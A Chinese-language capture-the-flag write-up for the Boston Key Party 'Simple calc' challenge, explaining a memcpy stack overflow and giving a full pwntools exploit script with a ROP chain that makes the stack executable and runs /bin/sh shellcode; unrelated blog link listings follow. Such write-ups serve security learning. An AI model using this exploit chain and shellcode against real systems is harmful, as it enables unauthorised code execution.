Bostonkey Simple calc
Simple Calc
明显的memcpy栈溢出,是一个静态链接的程序所以没给libc。发现里面有:
参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode啦!
#!/usr/bin/python
from pwn import *
import time
#wah #context.log_level = 'debug'
#s = remote('simplecalc.bostonkey.party',5400, timeout=2)
s = remote('127.0.0.1',10001)
time.sleep(1)
print 'pwn-calc pid is %d' % pwnlib.util.proc.pidof('pwn-calc')[0]
raw_input('go!') def add(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def sub(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def div(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
rop = ''
rop += p32(0x31) #fake heap head
rop += 11*p32(500)
rop += p64(0x6C4AA0) #divresult to bypass free()
rop += p32(500)*4 rop += p64(0x4b8f17) #pop rcx; ret
rop += p64(0x6C0FE0) #__stack_prot
rop += p64(0x474a83) #pop rax; ret
rop += p64(0xffffffffffffffff) #-1
rop += 8*p64(0x00463b90) #add rax,1;ret
rop += p64(0x40f50b) #add BYTE PTR [rcx],al; ret
rop += p64(0x00463600) #pop rdi; ret
rop += p64(0x6C0F88) #__libc_stack_end
rop += p64(0x4717E0) #_dl_make_stack_executable
rop += p64(0x44282a) #call rsp shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
rop += shellcode payloadlen = len(rop)
print 'payload len is %d' % len(rop)
#print rop.encode('hex') remaind = payloadlen %4
padlen = payloadlen + 4-remaind
formats = '{:' + '\x01' + '<' + str(padlen) + '}'
payload = formats.format(rop)
#print payload.encode('hex') s.recvuntil('Expected number of calculations: ', timeout=2)
s.sendline(str(padlen/4 + 1)) tmp = 0x30
for i in range(padlen/4):
#print '%d round' % (i+1)
num = u32(payload[4*i:4*(i+1)])
#print hex(num)
if num == 0x31:
div(str(0x31*0x31), str(0x31)) #to bypass free
elif num <= 0x27:
sub(str(num+0x30),str(0x30))
elif num >= 0x70000000:
add(str(num-0x70000000),str(0x70000000))
else:
add(str(num-0x30),str(0x30))
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.interactive()
Bostonkey Simple calc的更多相关文章
- CSharp使用ANTLR4生成简单计算Parser
ANTLR简介 ANTLR (ANother Tool for Language Recognition) is a powerful parser generator for reading, pr ...
- 2016暑假多校联合---A Simple Chess
2016暑假多校联合---A Simple Chess Problem Description There is a n×m board, a chess want to go to the po ...
- Building simple plug-ins system for ASP.NET Core(转)
Recently I built plug-ins support to my TemperatureStation IoT solution web site. The code for .NET ...
- css calc()
w https://developer.mozilla.org/en-US/docs/Web/CSS/calc The calc() CSS function can be used anywhere ...
- HDU 5794 A Simple Chess dp+Lucas
题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5794 A Simple Chess Time Limit: 2000/1000 MS (Java/O ...
- HDU 5794 A Simple Chess(杨辉三角+容斥原理+Lucas定理)
题目链接 A Simple Chess 打表发现这其实是一个杨辉三角…… 然后发现很多格子上方案数都是0 对于那写可能可以到达的点(先不考虑障碍点),我们先叫做有效的点 对于那些障碍,如果不在有效点上 ...
- PHP设计模式(一)简单工厂模式 (Simple Factory For PHP)
最近天气变化无常,身为程序猿的寡人!~终究难耐天气的挑战,病倒了,果然,程序猿还需多保养自己的身体,有句话这么说:一生只有两件事能报复你:不够努力的辜负和过度消耗身体的后患.话不多说,开始吧. 一.什 ...
- Design Patterns Simplified - Part 3 (Simple Factory)【设计模式简述--第三部分(简单工厂)】
原文链接:http://www.c-sharpcorner.com/UploadFile/19b1bd/design-patterns-simplified-part3-factory/ Design ...
- WATERHAMMER: A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION
开启阅读模式 WATERHAMMER A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION Waterhammer is an impact load that is ...
随机推荐
- jsp定时方法
jsp定时方法 $(function(){ totaladd(); //定时时触发的函数 setInterval(totaladd,);//设置定时1000=1秒 }); function total ...
- freemarker声明变量
freemarker声明变量 1.使用assign创建和替换变量 (1)新建声明变量的ftl variable.ftl: <html> <head> <meta http ...
- static静态属性和静态方法的原理与调用技巧
这篇文章主要介绍了php面向对象中static静态属性和静态方法的调用,实例分析了static静态属性和静态方法的原理与调用技巧,需要的朋友可以参考下 本文实例讲述了php中static静态属 ...
- App Store不能下载一直等待中的两种解决办法
1,重启手机,之后确认是否得到改善 2,重启不行,更改WiFi的dns为114.114.114.114或者223.5.5.5 或 223.6.6.6,再重启手机 ps:我是第二种方法
- 小谈@override
@override是jdk1.5增加的注解,主要是用来声明子类的某方法覆盖了父类的某方法.非常简单的注解,但是有个小问题: 项目最开始使用的是jdk1.6,mvc模式:接口 ----> 实现类. ...
- python面向对象(上)
创建类 Python 类使用 class 关键字来创建.简单的类的声明可以是关键字后紧跟类名: class ClassName(bases): 'class documentation string' ...
- GYP构建系统总结
GYP,Generate Your Project,一个Google开源的构建系统,最开始用于Chromium项目,现在一些其他的开源项目也开始使用GYP,如v8和node-gyp.不管怎样,这仅仅是 ...
- [转载]提升进程权限-OpenProcessToken等函数的用法
GetCurrentProcessID 得到当前进程的ID OpenProcessToken 得到进程的令牌句柄LookupPrivilegeValue 查询进程的权限 AdjustTokenPriv ...
- JS三元运算符
语法是 条件 ? 结果1 : 结果2; 问号(?)的前面是条件:后面跟着用冒号(:)分隔的结果1和结果2;满足条件时结果1否则结果2. 例子: var a=1; a>2?a:a=3; alert ...
- 由EmbeddedFileProvider构建的内嵌(资源)文件系统
由EmbeddedFileProvider构建的内嵌(资源)文件系统 一个物理文件可以直接作为资源内嵌到编译生成的程序集中.借助于EmbeddedFileProvider,我们可以统一的编程方式来读取 ...